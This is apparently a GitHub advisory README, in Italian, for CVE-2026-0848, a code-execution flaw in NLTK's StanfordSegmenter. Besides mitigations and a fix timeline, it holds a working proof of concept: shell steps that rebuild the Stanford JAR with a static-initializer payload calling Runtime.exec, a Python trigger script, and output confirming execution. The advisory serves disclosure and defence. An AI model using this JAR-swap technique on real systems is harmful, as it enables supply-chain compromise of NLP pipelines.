hyperps/cve-2026-0848
nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni senza verifica o sandboxing. Se un attaccante può fornire o sostituire il JAR (ad esempio, un download di modello avvelenato, uno scambio di pacchetti MITM o un avvelenamento delle dipendenze), codice bytecode Java arbitrario viene eseguito al momento dell'importazione.
-red?style=for-the-badge){kind=icon}
-brightgreen?style=for-the-badge){kind=icon}
| Campo | Dettagli |
|---|
| CVE ID | CVE-2026-0848 |
| Pacchetto | nltk (Natural Language Toolkit) |
| Registry | PyPI |
| Versioni Coinvolte | <= 3.9.2 |
| Tipo di Vulnerabilità | CWE-20: Validazione Non Corretta dell'Input |
| Punteggio CVSS | 10.0 (Critical) |
| Vettore di Attacco | Network |
| Complessità di Attacco | Low |
| Privilegi Richiesti | None |
| Interazione Utente | None |
| Scope | Changed |
| Impatto sulla Riservatezza | High |
| Impatto sull'Integrità | High |
| Impatto sulla Disponibilità | High |
| Data di Segnalazione | 6 dicembre 2025 |
| Data di Pubblicazione CVE | Marzo 2026 |
| Supporto | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter carica dinamicamente file Java .jar esterni tramite subprocess senza eseguire alcuna verifica di integrità, controllo delle firme o sandboxing. La classe accetta parametri completamente controllabili dall'attaccante, inclusi path_to_jar, path_to_model, path_to_dict e java_class, e li passa direttamente a un'invocazione java -cp.
Se un attaccante può fornire o sostituire il file JAR — tramite un download di modelli avvelenato, uno scambio del pacchetto man-in-the-middle, l'avvelenamento delle dipendenze o un mirror di rilascio corrotto — del bytecode Java arbitrario viene eseguito al momento del caricamento della classe tramite il meccanismo di inizializzazione statica della JVM. Ciò costituisce una vulnerabilità di Remote Code Execution nella supply chain che consente una fuga completa dal runtime Python.
| File | Righe | Descrizione |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | Accetta path_to_jar, path_to_model, path_to_dict e java_class controllabili dall'attaccante senza alcuna validazione |
nltk/internals.py | L220–L300 | Avvia l'esecuzione di Java direttamente con percorso JAR e classpath controllati dall'utente, senza sandboxing né verifica dei checksum |
nltk/internals.py | L109–L152 | subprocess.Popen() esegue Java con un input classpath non validato, consentendo alla JVM di caricare bytecode arbitrario ed eseguire gli inizializzatori statici |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metrica | Valore |
|---|---|
| Vettore di Attacco | Network |
| Complessità di Attacco | Low |
| Privilegi Richiesti | None |
| Interazione Utente | None |
| Scope | Changed |
| Riservatezza | High |
| Integrità | High |
| Disponibilità | High |
Lo sfruttamento riuscito garantisce a un attaccante il pieno controllo del sistema che esegue il processo di segmentazione NLTK:
Runtime.getRuntime().exec() o ProcessBuilder per eseguire comandi shell arbitrari| Scenario | Impatto |
|---|---|
| Un ricercatore ML carica un segmenter pre-addestrato da internet | Un attaccante remoto ottiene l'esecuzione di codice |
| Un'organizzazione scarica uno ZIP corrotto di un modello di segmentazione cinese | Il malware viene eseguito all'interno della pipeline NLP di produzione |
Il server CI/CD installa il modello tramite wget/unzip da un mirror non HTTPS | Compromissione completa dell'ambiente |
| Dirottamento di una dipendenza o mirror di rilascio avvelenato | RCE completa nella supply chain |
Questa vulnerabilità colpisce qualsiasi flusso di lavoro NLP che utilizzi StanfordSegmenter, inclusi chatbot, pipeline di preprocessamento LLM, segmentazione di dataset, classificazione di documenti e servizi di inferenza in produzione.
Queste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non testare sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
Output:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
Conferma della RCE:
ls /tmp | grep pwned_hijack
# pwned_hijack
La vulnerabilità è presente in due file:
stanford_segmenter.py — Il costruttore della classe StanfordSegmenter accetta path_to_jar, path_to_model, path_to_dict e java_class come semplici argomenti stringa e li inoltra direttamente al livello di esecuzione Java senza eseguire nessuna delle seguenti operazioni:
java_class rispetto a un insieme noto e sicuro di nomi di classeinternals.py — L'helper java() costruisce e lancia una chiamata subprocess.Popen() con il classpath fornito dall'utente. La JVM carica immediatamente tutte le classi contenute nel JAR fornito, eseguendo eventuali blocchi di inizializzazione statica prima che la logica applicativa venga eseguita. Non esiste alcuna sandbox, alcun controllo di integrità e alcun meccanismo in grado di impedire l'esecuzione di bytecode iniettato.
La vulnerabilità è stata completamente risolta nel repository NLTK upstream.
| Risorsa | Link |
|---|---|
| Correzione di Sicurezza Centrale (tutte le CVE) | https://github.com/nltk/nltk/pull/3522 |
| PR di correzione iniziale del ricercatore | https://github.com/nltk/nltk/pull/3477 (unita) |
Esegui l'aggiornamento a una versione corretta di NLTK appena sarà disponibile su PyPI.
| Azione | Dettagli |
|---|---|
| Aggiorna NLTK | Aggiorna a una versione successiva alla 3.9.2 che contenga la correzione della PR #3522 |
| Non Utilizzare Percorsi JAR Controllati dall'Utente | Non consentire mai all'input utente di influenzare gli argomenti path_to_jar, path_to_model o java_class |
| Verifica l'Integrità dei JAR | Verifica sempre i checksum SHA-256 dei file JAR scaricati rispetto agli hash ufficiali pubblicati prima dell'uso |
| Utilizza Solo Sorgenti HTTPS | Scarica i file di modelli e i JAR esclusivamente da sorgenti HTTPS ufficiali; rifiuta qualsiasi mirror HTTP o non verificato |
| Privilegio Minimale | Esegui i servizi basati su NLTK con un utente del sistema operativo limitato e con permessi minimi su file system e rete |
| Containerizzazione | Isola i servizi NLP in container Docker o sandbox simili per limitare il raggio d'esplosione degli exploit basati su JAR |
| Monitoraggio delle Dipendenze | Utilizza uno strumento di analisi della composizione software per rilevare dipendenze JAR manomesse o sostituite nelle pipeline CI/CD |
Aggiornamento tramite pip:
pip install --upgrade nltk
Verifica della versione installata:
python -c "import nltk; print(nltk.__version__)"
| Data | Evento |
|---|---|
| 6 dicembre 2025 | Vulnerabilità segnalata a huntr.dev dal ricercatore hyperps1 (Sarvesh Patil) |
| Dicembre 2025 | Team di manutenzione di NLTK notificato tramite huntr.dev |
| Gennaio 2026 | Il manutentore di NLTK ha validato la vulnerabilità; bounty di divulgazione assegnato |
| Gennaio 2026 | CVE-2026-0848 assegnata |
| Gennaio 2026 | PR di correzione #3477 del ricercatore inviata e unita |
| Febbraio 2026 | Avviso di pre-pubblicazione di 48 ore inviato ai manutentori di NLTK |
| Marzo 2026 | CVE pubblicata su NVD e huntr.dev |
| Marzo 2026 | Correzione di sicurezza centrale per tutte le CVE unita tramite la PR #3522 |
| Risorsa | Link |
|---|---|
| Voce NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| Registro CVE Ufficiale | https://cve.org/CVERecord?id=CVE-2026-0848 |
| Segnalazione huntr.dev | https://huntr.dev |
| PR di Correzione Centrale | https://github.com/nltk/nltk/pull/3522 |
| PR di Correzione del Ricercatore | https://github.com/nltk/nltk/pull/3477 |
| NLTK su PyPI | https://pypi.org/project/nltk/ |
| Stanford Word Segmenter | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — Esecuzione di Codice Arbitrario | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — Percorso di Ricerca Non Attendibile | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20: Validazione Non Corretta dell'Input | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502: Deserializzazione di Dati Non Attendibili | https://cwe.mitre.org/data/definitions/502.html |
Questo repository documenta la CVE-2026-0848 esclusivamente per scopi educativi, di ricerca e di sicurezza difensiva. Il codice proof-of-concept e i dettagli tecnici sono forniti per assistere sviluppatori, ingegneri della sicurezza e amministratori di sistema nella comprensione, valutazione e risoluzione di questa vulnerabilità.
Qualsiasi utilizzo di queste informazioni per accedere o compromettere sistemi senza autorizzazione esplicita è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio delle informazioni contenute nel presente documento.
Contributori: ketanHub